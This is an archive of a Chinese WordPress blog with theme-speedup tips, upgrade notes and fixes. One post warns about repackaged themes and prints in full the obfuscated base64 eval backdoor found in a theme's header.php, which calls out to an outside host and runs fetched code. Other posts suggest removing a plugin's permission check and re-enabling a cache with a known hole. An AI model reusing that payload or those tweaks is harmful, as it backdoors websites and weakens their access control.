Archive for the ‘Wordpress’ Category

Wordpress的Category not updated问题

Monday, January 28th, 2008

当在wordpress中更改category的名称和slug时,有时会遇到无法更新的问题,提示“category not updated“,这时你需要检查一下是否slug有重名的情况,一般都是由于这个原因造成的,其实wordpress应该明确提示类别重名的信息才对。

清理主题文件,加速Wordpress

Wednesday, January 23rd, 2008

Wordpress性能差、速度慢是出了名的,加速Wordpress除了安装一些缓存/静态化插件,例如WP-CacheWP-Super-CacheCos-Html-Cache,还可以通过清理主题文件中的一些数据库查询语句,减少Http请求次数,达到优化的目的。

Wordpress主题文件中经常会用到的查询语句主要有以下几个,这些语句完全可以去除或转化为静态方式而无须访问数据库 :

<html xmlns=”http://www.w3.org/1999/xhtml” <?php language_attributes() ?>> 转化为
<html lang=”zh-CN dir=”ltr xmlns=”http://www.w3.org/1999/xhtml>

<meta http-equiv=”content-type” content=”<?php bloginfo(’html_type’) ?>; charset=<?php bloginfo(’charset’) ?>” /> 转化为
<meta content=”text/html; charset=UTF-8 http-equiv=”content-type/>

<meta name=”description” content=”<?php bloginfo(’description’) ?>” />转化为
<meta name=”description” content=”这里直接输入你的博客简介” />

<meta name=”generator” content=”WordPress <?php bloginfo(’version’) ?>” /> 这句可以删除

<link rel=”stylesheet” type=”text/css” href=”<?php bloginfo(’stylesheet_url’); ?>” /> 直接写出style.css文件的链接地址

<link rel=”alternate” type=”application/rss+xml” href=”<?php bloginfo(’rss2_url’) ?>”  /> 直接写出RSS的链接地址

<link rel=”pingback” href=”<?php bloginfo(’pingback_url’) ?>” /> 直接写出pingback的链接地址

以此类推,凡是可以变为静态方式的地方都直接写出具体内容,这些语句大都存在于header.php和footer.php文件中,通过这番清理,大概可以减少10多次的数据库查询。

想进一步优化Wordpress的朋友还可以参考下面两篇文章介绍的方法 : 《优化Wordpress-wp终极优化手册》、《加快WordPress的页面生成和载入速度》。

注 : 本文参考了Speed up and clean up your WordPress!

对《通过优化插件来提高 WordPress 运行效率》的一点补充

Tuesday, January 1st, 2008

我爱水煮鱼所写的通过优化插件来提高 WordPress 运行效率一文非常好,建议所有使用Wordpress的朋友都读一读。对于优化插件问题,我想到了一个方法,就是将所有Blog必需的插件函数写入模板的functions.php文件中,加载模板时也就同时启用了这些函数,但这要求你对插件的结构比较了解,清楚其中哪些语句是函数所必需的,哪些是无谓的,所以我不建议对比较复杂的插件使用此方法,而有些插件我们经常使用并且其本身又短小精悍,最适合使用此法,以中文Blogger必备的中文 WordPress 工具箱为例,其中获取最新文章列表的函数所包含的语句如下:

function get_recent_posts($no_posts = 10, $before = ‘<li> ‘, $after = ‘</li>’, $show_pass_post = false, $skip_posts = 0) {
global $wpdb, $tableposts;
$request = “SELECT ID, post_title, post_date, post_content FROM $tableposts WHERE post_status = ‘publish’ “;
if(!$show_pass_post) { $request .= “AND post_password =” “; }
$request .= “ORDER BY post_date DESC LIMIT $skip_posts, $no_posts”;
$posts = $wpdb->get_results($request);
$output = ”;
foreach ($posts as $post) {
$post_title = stripslashes($post->post_title);
// $post_date = mysql2date(’j.m.Y’, $post->post_date);
$permalink = get_permalink($post->ID);
$output .= $before . ‘<a href=”‘ . $permalink . ‘” rel=”bookmark” title=”Permanent Link: ‘ . $post_title . ‘”>’ . $post_title . ‘</a>’. $after;
}
echo $output;
}

那么只需要将这段代码写入functions.php文件中即可,其他类似的函数还有中文wordpress工具箱中的其他函数、wp-pagenavigravatar等。最后提醒一下,如果你的模板是准备公开发布的,请在functions.php中注明插件出处^_^。

不要随便从第三方网站下载wordpress主题模板

Thursday, December 20th, 2007

著名的网站设计师Derek在自己的Blog上提醒Wordpress的新手在从一些主题下载站下载WP模板时一定要小心,因为他发现自己制作的模板被一个名为WP Sphere(这个网站现已不能访问)的站点重新打过包,并在header.php文件中嵌入了恶意代码,因此从该站点下载了模板的用户很可能会中招,Derek建议大家直接从模板作者的网站上下载东西而不是经由WP Sphere这样的第三方主题站,国内也有不少第三方站点提供WP模板的下载,目前似乎还未发现这样的恶意事件,不过小心使得万年船,在应用模板前最好检查一下文件代码,看看是否有类似的恶意代码,如果你的Wordpress水平已经到了一定水平,不妨试试自己写模板吧。

嵌入到Derek模板中的恶意代码:

@eval(@base64_decode(’aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3Q\
jY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNzci5jb20i\
LCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiw\
gJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICR\
SNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3Bzc3I\
iOyBlbHNlaWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMD\
kxNiA9IEBmc29ja29wZW4oInd3dy53cHNuYy5jb20iLCA4MCwgJFIzMk\
QwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1Qj\
M5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICRSNTBGNUY5QzgwRj\
EyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMiOyBlbHNlICRSNT\
BGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMyIj\
sgQGV2YWwoJyRSMTRBRjFCRTlFRTI2QTkwOTIxRTY0QTgyRTc4MzY3OT\
cgPSAxOycpOyBpZigkUjE0QUYxQkU5RUUyNkE5MDkyMUU2NEE4MkU3OD\
M2Nzk3IEFORCBpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSkgeyAgJF\
JEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5NiA9ICIxIjsgIC\
RSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUgPSAiaHR0cD\
ovL3d3dy4kUjUwRjVGOUM4MEYxMkZGQUU4QjI0MDA1MjhFODFCMzRFLm\
NvbS93JFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5Ni5waH\
A/dXJsPSIuIHVybGVuY29kZSgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXS\
kgLiImIi4gImhvc3Q9Ii4gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0\
hPU1QnXSk7ICAkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRT\
kwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRSNkU0RjE0QjMzNTI0M0JFNj\
U2QzY1RTNFRDlFMUIxMTUpOyAgQGV2YWwoJFIzRTMzRTAxN0NENzZCOU\
I3RTZDNzM2NEZCOTFFMkU5MCk7IH0gZWxzZSB7ICAkUkQzRkU5QzEwQT\
gwOEE1NEVBMkEzREJEOUU2MDVCNjk2ID0gIjAiOyAgJFI2RTRGMTRCMz\
M1MjQzQkU2NTZDNjVFM0VEOUUxQjExNSA9ICJodHRwOi8vd3d3LiRSNT\
BGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUuY29tL3ckUkQzRk\
U5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2LnBocD91cmw9Ii4gdX\
JsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIiYiLiAiaG\
9zdD0iLiB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsgIE\
ByZWFkZmlsZSgkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMT\
E1KTsgfSBmY2xvc2UoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQk\
MzMDkxNik7′));

Wordpress主题推荐:dfLover

Monday, December 3rd, 2007

勤奋的Deziner Folio又发布了一款漂亮的Wordpress主题:dfLover,这款主题集成了Flickr和Gravatar插件,兼容最新的Wordpress 2.3版本,sidebar和footer点缀着淡蓝色和粉红色的花,淡雅细腻,个人感觉很适合女孩子使用。

dfLover

演示站点
下载请到这里

免费赢取Premium News模板

Monday, November 26th, 2007

premium news

转述一下来自E-space的消息,Adii制作的Wordpress商业模板Premium News(收费99美元!)现在有机会免费获取,方法是在11月29日之前,在WPThemesPlugin的这篇帖子后面留言,并且留言中必须包含“I want the Premium News Theme!”这句话。这个模板制作得相当强悍,无怪乎要收费,我已经留言了,希望能得到一份copy,好好研究一下!

Feedsmith

Friday, May 4th, 2007

来自E-Spacy的消息:

FeedBurner官方声明采用了Steve Smith的WordPress插件Feedburner Feed Replacement,并且命名为FeedSmith

该插件可以不需要修改 .htaccess文件,便能够自动侦测类似http://www.yoursite.com/feed/ or http://www.yoursite.com/wp-rss2.php 的网址而转化成自己定义的FeedBurner烧制的Feed链接。

如果你在使用FeedBurner,并且在使用WordPress搭建自己的Blog程序,那么强烈推荐你使用此插件。

Wordpress v2.1升级笔记

Friday, January 26th, 2007

今天终于把自己的Blog升级到了Wordpress 2.1版,从计划到实施完成共用了3天时间,除了受网速影响拖延了时间外,更主要的是这次升级比较谨慎,事先制订了详细的计划列表,实施过程中随时记录遇到的问题,升级后又花了不少时间更新了自己的theme和部分插件,以下就是此次升级的全过程记录:

0。计划
制订三个阶段计划,即升级前的准备,升级时的操作和升级后的完善。

1。升级前的准备
共有两部分,即常用插件与新版Wordpress的兼容性测试和原Blog的数据备份
1.1 插件兼容性测试

1.1.1 新建一个测试站点,安装Wordpress 2.1

1.1.2 在测试站点测试插件
这些插件都是我的Blog用到的,其中大部分在Wordpress 2.1中使用正常(粗体字),还有一部分需要升级到最新版(灯泡),另有一些尚不兼容2.1(惊叹号),剩下的不准备再用了,因此没有测试

1.2备份原有数据

1.2.1使用Wordpress Database Backup这个插件备份数据库

1.2.2备份文件

2。升级

  1. 换用默认theme
  2. 暂停所有插件
  3. 暂停Blog服务
  4. 更新部分插件到最新版:UTW,Postviews,BLC等
  5. 删除旧文件(不再使用的theme、插件等)
  6. 修改2.1中的wp-db.php文件
  7. 备份quicktags.js(这个文件自己修改过,添加了很多内容)
  8. 上传Wordpress 2.1所有文件,覆盖安装
  9. 升级后清除WP2.1不再使用的文件
  10. 激活插件
  11. 换用自己的theme

3。升级后的完善

3.1 根据WP2.1的变化,修改自己的theme

3.1.1 WP2.1中将links和Category放到了一起,因此Links分类的id号发生了变化,在调用get_links这个函数时需要更改Links分类的id

3.1.2 wp_list_cats被wp_list_categories代替,不过我不喜欢这个新函数,它居然不能隐藏子分类 :evil: ,所以我将sidebar上显示分类的部分换成了tag cloud

3.1.3 由于wp-pagenavi 2.10版本存在一些问题,不得不改用最常见的页导航方式

3.1.3 在footer部分增加了useronline

3.1.4 使用了Alexking的share-this插件用于收藏文章

3.2将部分插件升级到最新版

——————————————————————————————————
需要注意的问题:除了插件兼容性和部分系统函数的变化外,在升级后务必将permalink更新一下,否则点击tag会发生404错误!

PS:在蜗牛般的网速中进行这次重大升级实在非常累人,因此我决定另外一个Blog等到网络恢复正常后再升级 :mrgreen:

powered by performancing firefox

Update: UTW与Wordpress 2.1还是有一点小问题,如果你审核了一条留言,那么该留言对应的帖子的Tag就会被删除,具体请看Michael的帖子,里面已经给出了解决方法。

Wordpress 2.0.×版本两个问题的解决方法

Wednesday, November 22nd, 2006

转自星月轮转,因为觉得很有用:

1. 每日自动备份失效。我一直用wp-cron配合wp-db- backup插件,每天定时将数据库备份发送到信箱中。不过好像是从2.0.4版本开始wp-db-backup插件作了修改,使得定时备份不起作用了。解决办法是在该插件的php文件的末尾,找到wpdbBackup_init函数,把其中的“if ( !current_user_can(’import’) ) return;”语句注释掉。
2. 缓存功能默认关闭。就是不在 wp-content/cache目录中写缓存文件了。解决办法是在wp-config.php文件中加一行“define (’ENABLE_CACHE’,true);”将该功能打开。WP好像从2.0.3开始就默认关闭了这个功能,因为它有一个安全隐患。不过我们大部分的WP用户并不需要为这个漏洞担心,看看这个页面上westi列的三个必要条件。我们大多都不提供用户注册功能,所以,放心吧。

[tags]wordpress,tips,troubleshooting[/tags]

powered by performancing firefox

Wordpress不能进入后台

Monday, November 6th, 2006

早上一来就发现了怪事,无法登录techpush的管理后台,奇怪之处在于位于同一个虚拟主机的另外一个blog却能正常进入,而这两个Blog均用Wordpress创建。无法登录的原因并不复杂,由于WP后台的Dashboard会抓取一些站点的RSS信息,如果这其中某个站点出了问题而无法访问,就会出现上述现象。查看/wp-admin/目录下的index.php文件,找到包含$rss = @fetch_rss语句的行,就会发现WP抓取的网站有:http://feeds.technorati.com/cosmos/http://wordpress.org/development/feed/http://planet.wordpress.org/feed/,问题应该出在technorati上,因为这个网站早已经被GFW了,解决之道就是注释掉上面三处的语句。只是我使用Dreamhost的虚拟主机服务,服务器在美国,按理说应该不受影响才对,此前也一直工作正常,另外一个同主机的Blog并未有此现象,它们只是ip不同,不明白何以至此???


[tags]wordpress,rss,troubeshooting[/tags]

powered by performancing firefox